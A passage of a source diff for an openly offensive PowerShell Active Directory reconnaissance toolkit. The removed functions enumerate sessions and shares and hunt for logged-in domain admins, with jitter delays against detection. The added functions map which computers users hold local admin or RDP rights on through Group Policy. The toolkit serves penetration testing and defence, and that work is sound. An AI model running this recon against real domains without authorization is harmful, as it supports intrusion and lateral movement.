get the last error - $err = $Kernel32::GetLastError() - # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681382(v=vs.85).aspx - Write-Debug "Invoke-CheckLocalAdminAccess LastError: $err" - $false - } - } -} + # process all group properties in the XML + $GroupsXMLcontent | Select-Xml "//Group" | Select-Object -ExpandProperty node | ForEach-Object { + $Members = @() + $MemberOf = @() -######################################################## -# -# 'Meta'-functions start below -# -######################################################## + # extract the localgroup sid for memberof + $LocalSid = $_.Properties.GroupSid + if(!$LocalSid) { + if($_.Properties.groupName -match 'Administrators') { + $LocalSid = 'S-1-5-32-544' + } + elseif($_.Properties.groupName -match 'Remote Desktop') { + $LocalSid = 'S-1-5-32-555' + } + else { + $LocalSid = $_.Properties.groupName + } + } + $MemberOf = @($LocalSid) -function Invoke-Netview { - <# - .SYNOPSIS - Queries the domain for all hosts, and retrieves open shares, - sessions, and logged on users for each host. - Original functionality was implemented in the netview.exe tool - released by Rob Fuller (@mubix). See links for more information. + $_.Properties.members | ForEach-Object { + # process each member of the above local group + $_ | Select-Object -ExpandProperty Member | Where-Object { $_.action -match 'ADD' } | ForEach-Object { - Author: @harmj0y - License: BSD 3-Clause + if($_.sid) { + $Members += $_.sid + } + else { + # just a straight local account name + $Members += $_.name + } + } + } - .DESCRIPTION - This is a port of Mubix's netview.exe tool. It finds the local domain name - for a host using Get-NetDomain, reads in a host list or queries the domain - for all active machines with Get-NetComputers, randomly shuffles the host list, - then for each target server it runs Get-NetSessions, Get-NetLoggedon, - and Get-NetShare to enumerate each target host. + if ($Members -or $Memberof) { + # extract out any/all filters...I hate you GPP + $Filters = $_.filters | ForEach-Object { + $_ | Select-Object -ExpandProperty Filter* | ForEach-Object { + New-Object -TypeName PSObject -Property @{'Type' = $_.LocalName;'Value' = $_.name} + } + } - .PARAMETER Hosts - Host array to enumerate, passable on the pipeline. + if($ResolveSids) { + $Memberof = $Memberof | ForEach-Object {Convert-SidToName $_} + $Members = $Members | ForEach-Object {Convert-SidToName $_} + } - .PARAMETER HostList - List of hostnames/IPs enumerate. + if($Memberof -isnot [system.array]) {$Memberof = @($Memberof)} + if($Members -isnot [system.array]) {$Members = @($Members)} - .PARAMETER HostFilter - Host filter name to query AD for, wildcards accepted. + $GPOProperties = @{ + 'GPODisplayName' = $GPODisplayName + 'GPOName' = $GPOName + 'GPOPath' = $GroupsXMLPath + 'Filters' = $Filters + 'MemberOf' = $Memberof + 'Members' = $Members + } - .PARAMETER ExcludeShares - Exclude common shares from display (C$, IPC$, etc.) + New-Object -TypeName PSObject -Property $GPOProperties + } + } + } + } - .PARAMETER CheckShareAccess - Only display found shares that the local user has access to. + end { + if($UsePSDrive -and $RandDrive) { + Write-Verbose "Removing temp PSDrive $RandDrive" + Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive + } + } +} - .PARAMETER NoPing - Don't ping each host to ensure it's up before enumerating. - .PARAMETER Delay - Delay between enumerating hosts, defaults to 0 - .PARAMETER Jitter - Jitter for the host delay, defaults to +/- 0.3 +function Get-NetGPO { +<# + .SYNOPSIS - .PARAMETER Domain - Domain to enumerate for hosts. + Gets a list of all current GPOs in a domain. - .EXAMPLE - > Invoke-Netview - Run all Netview functionality and display the output. + .PARAMETER GPOname - .EXAMPLE - > Invoke-Netview -Delay 60 - Run all Netview functionality with a 60 second (+/- *.3) randomized - delay between touching each host. + The GPO name to query for, wildcards accepted. - .EXAMPLE - > Invoke-Netview -Delay 10 -HostList hosts.txt - Runs Netview on a pre-populated host list with a 10 second (+/- *.3) - randomized delay between touching each host. + .PARAMETER DisplayName - .EXAMPLE - > Invoke-Netview -NoPing - Runs Netview and doesn't pings hosts before eunmerating them. + The GPO display name to query for, wildcards accepted. - .EXAMPLE - > Invoke-Netview -Domain testing - Runs Netview for hosts in the 'testing' domain. + .PARAMETER Domain - .LINK - https://github.com/mubix/netview - www.room362.com/blog/2012/10/07/compiling-and-release-of-netview/ - #> + The domain to query for GPOs, defaults to the current domain. - [CmdletBinding()] - param( - [Parameter(Position=0,ValueFromPipeline=$true)] - [String[]] - $Hosts, + .PARAMETER DomainController - [string] - $HostList, + Domain controller to reflect LDAP queries through. - [string] - $HostFilter, + .PARAMETER ADSpath - [Switch] - $ExcludeShares, + The LDAP source to search through + e.g. "LDAP://cn={8FF59D28-15D7-422A-BCB7-2AE45724125A},cn=policies,cn=system,DC=dev,DC=testlab,DC=local" - [Switch] - $CheckShareAccess, + .EXAMPLE - [Switch] - $NoPing, + PS C:\> Get-NetGPO -Domain testlab.local + + Returns the GPOs in the 'testlab.local' domain. +#> + [CmdletBinding()] + Param ( + [Parameter(ValueFromPipeline=$True)] + [String] + $GPOname = '*', - [UInt32] - $Delay = 0, + [String] + $DisplayName, - [double] - $Jitter = .3, + [String] + $Domain, - [string] - $Domain + [String] + $DomainController, + + [String] + $ADSpath ) begin { - If ($PSBoundParameters['Debug']) { - $DebugPreference = 'Continue' - } - - # shares we want to ignore if the flag is set - $excludedShares = @('', "ADMIN$", "IPC$", "C$", "PRINT$") - - # get the target domain - if($Domain){ - $targetDomain = $Domain - } - else{ - # use the local domain - $targetDomain = $null - } - - # random object for delay - $randNo = New-Object System.Random - - $currentUser = ([Environment]::UserName).toLower() - - "Running Netview with delay of $Delay" - if ($targetDomain){ - "[*] Domain: $targetDomain" - } + $GPOSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath + } - # if we're using a host list, read the targets in and add them to the target list - if($HostList){ - if (Test-Path -Path $HostList){ - $Hosts = Get-Content -Path $HostList + process { + if ($GPOSearcher) { + if($DisplayName) { + $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(displayname=$DisplayName))" } - else{ - Write-Warning "[!] Input file '$HostList' doesn't exist!" - "[!] Input file '$HostList' doesn't exist!" - return + else { + $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(name=$GPOname))" } - } - elseif($HostFilter){ - Write-Verbose "[*] Querying domain $targetDomain for hosts with filter '$HostFilter'" - $Hosts = Get-NetComputers -Domain $targetDomain -HostName $HostFilter - } - $DomainControllers = Get-NetDomainControllers -Domain $targetDomain | % {$_.Name} + $GPOSearcher.PageSize = 200 - if (($DomainControllers -ne $null) -and ($DomainControllers.count -ne 0)){ - foreach ($DC in $DomainControllers){ - "[+] Domain Controller: $DC" + $GPOSearcher.FindAll() | ForEach-Object { + # convert/process the LDAP fields for each result + Convert-LDAPProperty -Properties $_.Properties } } } +} - process { - - if ( (-not ($Hosts)) -or ($Hosts.length -eq 0)) { - Write-Verbose "[*] Querying domain $targetDomain for hosts..." - $Hosts = Get-NetComputers -Domain $targetDomain - } - - # randomize the host list - $Hosts = Get-ShuffledArray $Hosts - - if(-not $NoPing){ - $Hosts = $Hosts | Invoke-Ping - } - $HostCount = $Hosts.Count - "[*] Total number of hosts: $HostCount" +function Get-NetGPOGroup { +<# + .SYNOPSIS - $counter = 0 + Returns all GPOs in a domain that set "Restricted Groups" + or use groups.xml on on target machines. - foreach ($server in $Hosts){ + .PARAMETER GPOname - $server = Get-NameField $server + The GPO name to query for, wildcards accepted. - $counter = $counter + 1 + .PARAMETER DisplayName - # make sure we have a server - if (($server -ne $null) -and ($server.trim() -ne '')){ + The GPO display name to query for, wildcards accepted. - $ip = Get-HostIP -hostname $server + .PARAMETER ResolveSids - # make sure the IP resolves - if ($ip -ne ''){ - # sleep for our semi-randomized interval - Start-Sleep -Seconds $randNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) + Switch. Resolve Sids from a DC policy to object names. - Write-Verbose "[*] Enumerating server $server ($counter of $($Hosts.count))" - "`r`n[+] Server: $server" - "[+] IP: $ip" + .PARAMETER Domain - # get active sessions for this host and display what we find - $sessions = Get-NetSessions -HostName $server - foreach ($session in $sessions) { - $username = $session.sesi10_username - $cname = $session.sesi10_cname - $activetime = $session.sesi10_time - $idletime = $session.sesi10_idle_time - # make sure we have a result - if (($username -ne $null) -and ($username.trim() -ne '') -and ($username.trim().toLower() -ne $currentUser)){ - "[+] $server - Session - $username from $cname - Active: $activetime - Idle: $idletime" - } - } + The domain to query for GPOs, defaults to the current domain. - # get any logged on users for this host and display what we find - $users = Get-NetLoggedon -HostName $server - foreach ($user in $users) { - $username = $user.wkui1_username - $domain = $user.wkui1_logon_domain + .PARAMETER DomainController - if ($username -ne $null){ - # filter out $ machine accounts - if ( !$username.EndsWith("$") ) { - "[+] $server - Logged-on - $domain\\$username" - } - } - } + Domain controller to reflect LDAP queries through. - # get the shares for this host and display what we find - $shares = Get-NetShare -HostName $server - foreach ($share in $shares) { - if ($share -ne $null){ - $netname = $share.shi1_netname - $remark = $share.shi1_remark - $path = '\\'+$server+'\'+$netname - - # check if we're filtering out common shares - if ($ExcludeShares){ - if (($netname) -and ($netname.trim() -ne '') -and ($excludedShares -notcontains $netname)){ - - # see if we want to test for access to the found - if($CheckShareAccess){ - # check if the user has access to this path - try{ - $f=[IO.Directory]::GetFiles($path) - "[+] $server - Share: $netname `t: $remark" - } - catch {} + .PARAMETER ADSpath - } - else{ - "[+] $server - Share: $netname `t: $remark" - } + The LDAP source to search through + e.g. "LDAP://cn={8FF59D28-15D7-422A-BCB7-2AE45724125A},cn=policies,cn=system,DC=dev,DC=testlab,DC=local" - } - } - # otherwise, display all the shares - else { - if (($netname) -and ($netname.trim() -ne '')){ - - # see if we want to test for access to the found - if($CheckShareAccess){ - # check if the user has access to this path - try{ - $f=[IO.Directory]::GetFiles($path) - "[+] $server - Share: $netname `t: $remark" - } - catch {} - } - else{ - "[+] $server - Share: $netname `t: $remark" - } - } - } - } - } - - } - } - } - } -} + .PARAMETER UsePSDrive + Switch. Mount any found policy files with temporary PSDrives. -function Invoke-NetviewThreaded { - <# - .SYNOPSIS - Queries the domain for all hosts, and retrieves open shares, - sessions, and logged on users for each host. - Original functionality was implemented in the netview.exe tool - released by Rob Fuller (@mubix). See links for more information. - Threaded version of Invoke-Netview. Uses multithreading to - speed up enumeration. + .EXAMPLE - Author: @harmj0y - License: BSD 3-Clause + PS C:\> Get-NetGPOGroup - .DESCRIPTION - This is a port of Mubix's netview.exe tool. It finds the local domain name - for a host using Get-NetDomain, reads in a host list or queries the domain - for all active machines with Get-NetComputers, randomly shuffles the host list, - then for each target server it runs Get-NetSessions, Get-NetLoggedon, - and Get-NetShare to enumerate each target host. - Threaded version of Invoke-Netview. + Get all GPOs that set local groups on the current domain. +#> - .PARAMETER Hosts - Host array to enumerate, passable on the pipeline. + [CmdletBinding()] + Param ( + [String] + $GPOname = '*', - .PARAMETER HostList - List of hostnames/IPs enumerate. + [String] + $DisplayName, - .PARAMETER HostFilter - Host filter name to query AD for, wildcards accepted. + [Switch] + $ResolveSids, - .PARAMETER ExcludedShares - Shares to exclude from output, wildcards accepted (i.e. IPC*) + [String] + $Domain, - .PARAMETER CheckShareAccess - Only display found shares that the local user has access to. + [String] + $DomainController, - .PARAMETER NoPing - Don't ping each host to ensure it's up before enumerating. + [String] + $ADSpath, - .PARAMETER Domain - Domain to enumerate for hosts. + [Switch] + $UsePSDrive + ) - .PARAMETER MaxThreads - The maximum concurrent threads to execute. + # get every GPO from the specified domain with restricted groups set + Get-NetGPO -GPOName $GPOname -DisplayName $GPOname -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath | Foreach-Object { - .EXAMPLE - > Invoke-Netview - Run all NetviewThreaded functionality and display the output. + $Memberof = $Null + $Members = $Null + $GPOdisplayName = $_.displayname + $GPOname = $_.name + $GPOPath = $_.gpcfilesyspath - .EXAMPLE - > Invoke-NetviewThreaded -HostList hosts.txt - Runs Netview on a pre-populated host list. + $ParseArgs = @{ + 'GptTmplPath' = "$GPOPath\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" + 'UsePSDrive' = $UsePSDrive + } - .EXAMPLE - > Invoke-NetviewThreaded -ExcludedShares IPC$, PRINT$ - Runs Netview and excludes IPC$ and PRINT$ shares from output + # parse the GptTmpl.inf 'Restricted Groups' file if it exists + $Inf = Get-GptTmpl @ParseArgs - .EXAMPLE - > Invoke-NetviewThreaded -NoPing - Runs Netview and doesn't pings hosts before eunmerating them. + if($Inf.GroupMembership) { - .EXAMPLE - > Invoke-NetviewThreaded -Domain testing - Runs Netview for hosts in the 'testing' domain. + $Memberof = $Inf.GroupMembership | Get-Member *Memberof | ForEach-Object { $Inf.GroupMembership.($_.name) } | ForEach-Object { $_.trim('*') } + $Members = $Inf.GroupMembership | Get-Member *Members | ForEach-Object { $Inf.GroupMembership.($_.name) } | ForEach-Object { $_.trim('*') } - .LINK - https://github.com/mubix/netview - www.room362.com/blog/2012/10/07/compiling-and-release-of-netview/ - #> + # only return an object if Members are found + if ($Members -or $Memberof) { - [CmdletBinding()] - param( - [Parameter(Position=0,ValueFromPipeline=$true)] - [String[]] - $Hosts, + # if there is no Memberof defined, assume local admins + if(!$Memberof) { + $Memberof = 'S-1-5-32-544' + } - [string] - $HostList, + if($ResolveSids) { + $Memberof = $Memberof | ForEach-Object {Convert-SidToName $_} + $Members = $Members | ForEach-Object {Convert-SidToName $_} + } - [string] - $HostFilter, + if($Memberof -isnot [system.array]) {$Memberof = @($Memberof)} + if($Members -isnot [system.array]) {$Members = @($Members)} - [string[]] - $ExcludedShares, + $GPOProperties = @{ + 'GPODisplayName' = $GPODisplayName + 'GPOName' = $GPOName + 'GPOPath' = $GPOPath + 'Filters' = $Null + 'MemberOf' = $Memberof + 'Members' = $Members + } - [Switch] - $CheckShareAccess, + New-Object -TypeName PSObject -Property $GPOProperties + } + } - [Switch] - $NoPing, + $ParseArgs = @{ + 'GroupsXMLpath' = "$GPOPath\MACHINE\Preferences\Groups\Groups.xml" + 'ResolveSids' = $ResolveSids + 'UsePSDrive' = $UsePSDrive + } - [string] - $Domain, + Get-GroupsXML @ParseArgs + } +} - [Int] - $MaxThreads = 20 - ) - begin { - If ($PSBoundParameters['Debug']) { - $DebugPreference = 'Continue' - } +function Find-GPOLocation { +<# + .SYNOPSIS - # get the target domain - if($Domain){ - $targetDomain = $Domain - } - else{ - # use the local domain - $targetDomain = $null - } + Takes a user/group name and optional domain, and determines + the computers in the domain the user/group has local admin + (or RDP) rights to. - $currentUser = ([Environment]::UserName).toLower() + It does this by: + 1. resolving the user/group to its proper sid + 2. enumerating all groups the user/group is a current part of + and extracting all target SIDs to build a target SID list + 3. pulling all GPOs that set 'Restricted Groups' by calling + Get-NetGPOGroup + 4. matching the target sid list to the queried GPO SID list + to enumerate all GPO the user is effectively applied with + 5. enumerating all OUs and sites and applicable GPO GUIs are + applied to through gplink enumerating + 6. querying for all computers under the given OUs or sites - "Running Netview with delay of $Delay" - if($targetDomain){ - "[*] Domain: $targetDomain" - } + .PARAMETER UserName - # if we're using a host list, read the targets in and add them to the target list - if($HostList){ - if (Test-Path -Path $HostList){ - $Hosts = Get-Content -Path $HostList - } - else{ - Write-Warning "[!] Input file '$HostList' doesn't exist!" - "[!] Input file '$HostList' doesn't exist!" - return - } - } - elseif($HostFilter){ - Write-Verbose "[*] Querying domain $targetDomain for hosts with filter '$HostFilter'" - $Hosts = Get-NetComputers -Domain $targetDomain -HostName $HostFilter - } + A (single) user name name to query for access. - # script block that eunmerates a server - # this is called by the multi-threading code later - $EnumServerBlock = { - param($Server, $Ping, $CheckShareAccess, $ExcludedShares) + .PARAMETER GroupName - $Server = Get-NameField $Server + A (single) group name name to query for access. - $ip = Get-HostIP -hostname $server + .PARAMETER Domain - # make sure the IP resolves - if ($ip -ne ''){ + Optional domain the user exists in for querying, defaults to the current domain. - # optionally check if the server is up first - $up = $true - if($Ping){ - $up = Test-Server -Server $Server - } - if($up){ - - "`r`n[+] Server: $server" - "[+] IP: $ip" - - # get active sessions for this host and display what we find - $sessions = Get-NetSessions -HostName $server - foreach ($session in $sessions) { - $username = $session.sesi10_username - $cname = $session.sesi10_cname - $activetime = $session.sesi10_time - $idletime = $session.sesi10_idle_time - # make sure we have a result - if (($username -ne $null) -and ($username.trim() -ne '') -and ($username.trim().toLower() -ne $currentUser)){ - "[+] $server - Session - $username from $cname - Active: $activetime - Idle: $idletime" - } - } + .PARAMETER DomainController - # get any logged on users for this host and display what we find - $users = Get-NetLoggedon -HostName $server - foreach ($user in $users) { - $username = $user.wkui1_username - $domain = $user.wkui1_logon_domain + Domain controller to reflect LDAP queries through. - if ($username -ne $null){ - # filter out $ machine accounts - if ( !$username.EndsWith("$") ) { - "[+] $server - Logged-on - $domain\\$username" - } - } - } + .PARAMETER LocalGroup - # get the shares for this host and display what we find - $shares = Get-NetShare -HostName $server - foreach ($share in $shares) { - if ($share -ne $null){ - $netname = $share.shi1_netname - $remark = $share.shi1_remark - $path = '\\'+$server+'\'+$netname - - # check if we're filtering out common shares - if ($ExcludeCommon){ - if (($netname) -and ($netname.trim() -ne '') -and ($excludedShares -notcontains $netname)){ - - # see if we want to test for access to the found - if($CheckShareAccess){ - # check if the user has access to this path - try{ - $f=[IO.Directory]::GetFiles($path) - "[+] $server - Share: $netname `t: $remark" - } - catch {} + The local group to check access against. + Can be "Administrators" (S-1-5-32-544), "RDP/Remote Desktop Users" (S-1-5-32-555), + or a custom local SID. Defaults to local 'Administrators'. - } - else{ - "[+] $server - Share: $netname `t: $remark" - } + .PARAMETER UsePSDrive - } - } - # otherwise, display all the shares - else { - if (($netname) -and ($netname.trim() -ne '')){ - - # see if we want to test for access to the found - if($CheckShareAccess){ - # check if the user has access to this path - try{ - $f=[IO.Directory]::GetFiles($path) - "[+] $server - Share: $netname `t: $remark" - } - catch {} - } - else{ - "[+] $server - Share: $netname `t: $remark" - } - } - } + Switch. Mount any found policy files with temporary PSDrives. - } - } + .EXAMPLE - } - } - } + PS C:\> Find-GPOLocation -UserName dfm + + Find all computers that dfm user has local administrator rights to in + the current domain. - # Adapted from: - # http://powershell.org/wp/forums/topic/invpke-parallel-need-help-to-clone-the-current-runspace/ - $sessionState = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault() - $sessionState.ApartmentState = [System.Threading.Thread]::CurrentThread.GetApartmentState() + .EXAMPLE - # grab all the current variables for this runspace - $MyVars = Get-Variable -Scope 1 + PS C:\> Find-GPOLocation -UserName dfm -Domain dev.testlab.local + + Find all computers that dfm user has local administrator rights to in + the dev.testlab.local domain. - # these Variables are added by Runspace.Open() Method and produce Stop errors if you add them twice - $VorbiddenVars = @("?","args","ConsoleFileName","Error","ExecutionContext","false","HOME","Host","input","InputObject","MaximumAliasCount","MaximumDriveCount","MaximumErrorCount","MaximumFunctionCount","MaximumHistoryCount","MaximumVariableCount","MyInvocation","null","PID","PSBoundParameters","PSCommandPath","PSCulture","PSDefaultParameterValues","PSHOME","PSScriptRoot","PSUICulture","PSVersionTable","PWD","ShellId","SynchronizedHash","true") + .EXAMPLE - # Add Variables from Parent Scope (current runspace) into the InitialSessionState - ForEach($Var in $MyVars) { - If($VorbiddenVars -notcontains $Var.Name) { - $sessionstate.Variables.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateVariableEntry -ArgumentList $Var.name,$Var.Value,$Var.description,$Var.options,$Var.attributes)) - } - } + PS C:\> Find-GPOLocation -UserName jason -LocalGroup RDP + + Find all computers that jason has local RDP access rights to in the domain. +#> - # Add Functions from current runspace to the InitialSessionState - ForEach($Function in (Get-ChildItem Function:)) { - $sessionState.Commands.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateFunctionEntry -ArgumentList $Function.Name, $Function.Definition)) - } + [CmdletBinding()] + Param ( + [String] + $UserName, - # threading adapted from - # https://github.com/darkoperator/Posh-SecMod/blob/master/Discovery/Discovery.psm1#L407 - # Thanks Carlos! - $counter = 0 + [String] + $GroupName, - # create a pool of maxThread runspaces - $pool = [runspacefactory]::CreateRunspacePool(1, $MaxThreads, $sessionState, $host) - $pool.Open() + [String] + $Domain, + + [String] + $DomainController, + + [String] + $LocalGroup = 'Administrators', + + [Switch] + $UsePSDrive + ) - $jobs = @() - $ps = @() - $wait = @() + if($UserName) { - $DomainControllers = Get-NetDomainControllers -Domain $targetDomain | % {$_.Name} + $User = Get-NetUser -UserName $UserName -Domain $Domain -DomainController $DomainController + $UserSid = $User.objectsid - if (($DomainControllers -ne $null) -and ($DomainControllers.count -ne 0)){ - foreach ($DC in $DomainControllers){ - "[+] Domain Controller: $DC" - } + if(!$UserSid) { + Throw "User '$UserName' not found!" } - $counter = 0 + $TargetSid = $UserSid + $ObjectDistName = $User.distinguishedname } + elseif($GroupName) { - process { + $Group = Get-NetGroup -GroupName $GroupName -Domain $Domain -DomainController $DomainController -FullData + $GroupSid = $Group.objectsid - if ( (-not ($Hosts)) -or ($Hosts.length -eq 0)) { - Write-Verbose "[*] Querying domain $targetDomain for hosts..." - $Hosts = Get-NetComputers -Domain $targetDomain + if(!$GroupSid) { + Throw "Group '$GroupName' not found!" } - # randomize the host list - $Hosts = Get-ShuffledArray $Hosts - $HostCount = $Hosts.Count - "[*] Total number of hosts: $HostCount`r`n" + $TargetSid = $GroupSid + $ObjectDistName = $Group.distinguishedname + } + else { + throw "-UserName or -GroupName must be specified!" + } + + if($LocalGroup -like "*Admin*") { + $LocalSID = "S-1-5-32-544" + } + elseif ( ($LocalGroup -like "*RDP*") -or ($LocalGroup -like "*Remote*") ) { + $LocalSID = "S-1-5-32-555" + } + elseif ($LocalGroup -like "S-1-5*") { + $LocalSID = $LocalGroup + } + else { + throw "LocalGroup must be 'Administrators', 'RDP', or a 'S-1-5-X' type sid." + } - foreach ($server in $Hosts){ + Write-Verbose "LocalSid: $LocalSID" + Write-Verbose "TargetSid: $TargetSid" + Write-Verbose "TargetObjectDistName: $ObjectDistName" - # make sure we get a server name - if ($server -ne ''){ - Write-Verbose "[*] Enumerating server $server ($($counter+1) of $($Hosts.count))" + if($TargetSid -isnot [system.array]) { $TargetSid = @($TargetSid) } - While ($($pool.GetAvailableRunspaces()) -le 0) { - Start-Sleep -milliseconds 500 - } + # recurse 'up', getting the the groups this user is an effective member of + # thanks @meatballs__ for the efficient example in Get-NetGroup ! + $GroupSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController + $GroupSearcher.filter = "(&(samAccountType=268435456)(member:1.2.840.113556.1.4.1941:=$ObjectDistName))" - # create a "powershell pipeline runner" - $ps += [powershell]::create() + $GroupSearcher.FindAll() | ForEach-Object { + $GroupSid = (New-Object System.Security.Principal.SecurityIdentifier(($_.properties.objectsid)[0],0)).Value + $TargetSid += $GroupSid + } - $ps[$counter].runspacepool = $pool + Write-Verbose "Effective target sids: $TargetSid" - # add the script block + arguments - [void]$ps[$counter].AddScript($EnumServerBlock).AddParameter('Server', $server).AddParameter('Ping', -not $NoPing).AddParameter('CheckShareAccess', $CheckShareAccess).AddParameter('ExcludedShares', $ExcludedShares) + $GPOGroupArgs = @{ + 'Domain' = $Domain + 'DomainController' = $DomainController + 'UsePSDrive' = $UsePSDrive + } - # start job - $jobs += $ps[$counter].BeginInvoke(); + # get all GPO groups, and filter on ones that match our target SID list + # and match the target local sid memberof list + $GPOgroups = Get-NetGPOGroup @GPOGroupArgs | ForEach-Object { + if ($_.members) { + $_.members = $_.members | Where-Object {$_} | ForEach-Object { + if($_ -match "S-1-5") { + $_ + } + else { + # if there are any plain group names, try to resolve them to sids + Convert-NameToSid -ObjectName $_ -Domain $Domain + } + } - # store wait handles for WaitForAll call - $wait += $jobs[$counter].AsyncWaitHandle + # stop PowerShell 2.0's string stupid unboxing + if($_.members -isnot [system.array]) { $_.members = @($_.members) } + if($_.memberof -isnot [system.array]) { $_.memberof = @($_.memberof) } + + if($_.members) { + try { + # only return groups that contain a target sid + if( (Compare-Object $_.members $TargetSid -IncludeEqual -ExcludeDifferent) ) { + if ($_.memberof -contains $LocalSid) { + $_ + } + } + } + catch { + Write-Debug "Error comparing members and $TargetSid : $_" + } } - $counter = $counter + 1 } } - end { - Write-Verbose "Waiting for scanning threads to finish..." + Write-Verbose "GPOgroups: $GPOgroups" + $ProcessedGUIDs = @{} - $waitTimeout = Get-Date + # process the matches and build the result objects + $GPOgroups | Where-Object {$_} | ForEach-Object { - while ($($jobs | ? {$_.IsCompleted -eq $false}).count -gt 0 -or $($($(Get-Date) - $waitTimeout).totalSeconds) -gt 60) { - Start-Sleep -milliseconds 500 - } + $GPOguid = $_.GPOName - # end async call - for ($y = 0; $y -lt $counter; $y++) { + if( -not $ProcessedGUIDs[$GPOguid] ) { + $GPOname = $_.GPODisplayName + $Filters = $_.Filters - try { - # complete async job - $ps[$y].EndInvoke($jobs[$y]) + # find any OUs that have this GUID applied + Get-NetOU -Domain $Domain -DomainController $DomainController -GUID $GPOguid -FullData | ForEach-Object { - } catch { - Write-Warning "error: $_" - } - finally { - $ps[$y].Dispose() - } - } + if($Filters) { + # filter for computer name/org unit if a filter is specified + # TODO: handle other filters? + $OUComputers = Get-NetComputer -ADSpath $_.ADSpath -FullData | Where-Object { + $_.adspath -match ($Filters.Value) + } | ForEach-Object { $_.dnshostname } + } + else { + $OUComputers = Get-NetComputer -ADSpath $_.ADSpath + } - $pool.Dispose() + $GPOLocation = New-Object PSObject + $GPOLocation | Add-Member Noteproperty 'ObjectName' $ObjectDistName + $GPOLocation | Add-Member Noteproperty 'GPOname' $GPOname + $GPOLocation | Add-Member Noteproperty 'GPOguid' $GPOguid + $GPOLocation | Add-Member Noteproperty 'ContainerName' $_.distinguishedname + $GPOLocation | Add-Member Noteproperty 'Computers' $OUComputers + $GPOLocation + } + + # find any sites that have this GUID applied + # TODO: fix, this isn't the correct way to query computers from a site... + # Get-NetSite -GUID $GPOguid -FullData | Foreach-Object { + # if($Filters) { + # # filter for computer name/org unit if a filter is specified + # # TODO: handle other filters? + # $SiteComptuers = Get-NetComputer -ADSpath $_.ADSpath -FullData | ? { + # $_.adspath -match ($Filters.Value) + # } | Foreach-Object {$_.dnshostname} + # } + # else { + # $SiteComptuers = Get-NetComputer -ADSpath $_.ADSpath + # } + + # $SiteComptuers = Get-NetComputer -ADSpath $_.ADSpath + # $out = New-Object PSObject + # $out | Add-Member Noteproperty 'Object' $ObjectDistName + # $out | Add-Member Noteproperty 'GPOname' $GPOname + # $out | Add-Member Noteproperty 'GPOguid' $GPOguid + # $out | Add-Member Noteproperty 'ContainerName' $_.distinguishedname + # $out | Add-Member Noteproperty 'Computers' $OUComputers + # $out + # } + + # mark off this GPO GUID so we don't process it again if there are dupes + $ProcessedGUIDs[$GPOguid] = $True + } } + } -function Invoke-UserView { - [CmdletBinding()] - param( - [Parameter(Position=0,ValueFromPipeline=$true)] - [String[]] - $Hosts, +function Find-GPOComputerAdmin { +<# + .SYNOPSIS - [Switch] - $NoLoggedon, + Takes a computer (or GPO) object and determines what users/groups have + administrative access over it. - [Switch] - $NoPing, + Inverse of Find-GPOLocation. - [UInt32] - $Delay = 0, + .PARAMETER ComputerName - [double] - $Jitter = .3, + The computer to determine local administrative access to. - [string] - $HostList, + .PARAMETER OUName - [Switch] - $FileServers, + OU name to determine who has local adminisrtative acess to computers + within it. - [string] - $HostFilter, + .PARAMETER Domain - [string] - $Domain - ) - Write-Warning "[!] Depreciated, use 'Invoke-UserHunter -ShowAll' for replacement functionality." -} + Optional domain the computer/OU exists in, defaults to the current domain. + .PARAMETER DomainController -function Invoke-UserHunter { - <# - .SYNOPSIS - Finds which machines users of a specified group are logged into. + Domain controller to reflect LDAP queries through. - Author: @harmj0y - License: BSD 3-Clause + .PARAMETER Recurse - .DESCRIPTION - This function finds the local domain name for a host using Get-NetDomain, - queries the domain for users of a specified group (default "domain admins") - with Get-NetGroup or reads in a target user list, queries the domain for all - active machines with Get-NetComputers or reads in a pre-populated host list, - randomly shuffles the target list, then for each server it gets a list of - active users with Get-NetSessions/Get-NetLoggedon. The found user list is compared - against the target list, and a status message is displayed for any hits. - The flag -CheckAccess will check each positive host to see if the current - user has local admin access to the machine. + Switch. If a returned member is a group, recurse and get all members. - .PARAMETER Hosts - Host array to enumerate, passable on the pipeline. + .PARAMETER LocalGroup - .PARAMETER HostList - List of hostnames/IPs to search. + The local group to check access against. + Can be "Administrators" (S-1-5-32-544), "RDP/Remote Desktop Users" (S-1-5-32-555), + or a custom local SID. + Defaults to local 'Administrators'. - .PARAMETER HostFilter - Host filter name to query AD for, wildcards accepted. + .PARAMETER UsePSDrive - .PARAMETER GroupName - Group name to query for target users. + Switch. Mount any found policy files with temporary PSDrives. - .PARAMETER OU - The OU to pull users from. + .EXAMPLE - .PARAMETER Filter - The complete LDAP filter string to use to query for users. + PS C:\> Find-GPOComputerAdmin -ComputerName WINDOWS3.dev.testlab.local + + Finds users who have local admin rights over WINDOWS3 through GPO correlation. - .PARAMETER UserName - Specific username to search for. + .EXAMPLE - .PARAMETER UserList - List of usernames to search for. + PS C:\> Find-GPOComputerAdmin -ComputerName WINDOWS3.dev.testlab.local -LocalGroup RDP + + Finds users who have RDP rights over WINDOWS3 through GPO correlation. +#> - .PARAMETER StopOnSuccess - Stop hunting after finding after finding a user. + [CmdletBinding()] + Param ( + [Parameter(ValueFromPipeline=$True)] + [String] + $ComputerName, - .PARAMETER NoPing - Don't ping each host to ensure it's up before enumerating. + [String] + $OUName, - .PARAMETER CheckAccess - Check if the current user has local admin access to found machines. + [String] + $Domain, - .PARAMETER Delay - Delay between enumerating hosts, defaults to 0 + [String] + $DomainController, - .PARAMETER Jitter - Jitter for the host delay, defaults to +/- 0.3 + [Switch] + $Recurse, - .PARAMETER Domain - Domain for query for machines. + [String] + $LocalGroup = 'Administrators', - .PARAMETER ShowAll - Return all user location results, i.e. Invoke-UserView functionality. + [Switch] + $UsePSDrive + ) - .EXAMPLE - > Invoke-UserHunter -CheckAccess - Finds machines on the local domain where domain admins are logged into - and checks if the current user has local administrator access. + process { + + 